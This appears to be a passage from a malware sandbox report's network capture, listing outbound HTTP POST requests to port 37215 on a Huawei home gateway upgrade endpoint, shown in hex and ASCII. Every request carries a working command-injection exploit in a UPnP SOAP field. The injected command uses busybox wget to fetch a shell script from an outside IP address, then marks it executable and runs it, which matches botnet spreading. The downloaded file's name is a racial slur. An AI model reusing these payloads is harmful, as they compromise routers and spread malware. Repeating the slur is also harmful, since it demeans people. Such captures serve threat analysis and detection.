Feb 19, 2024 18:37:19.521680117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336703062 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.15	44802	31.136.52.235	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.376149893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930604935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018613100 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290445089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642538071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.346076012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521678925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
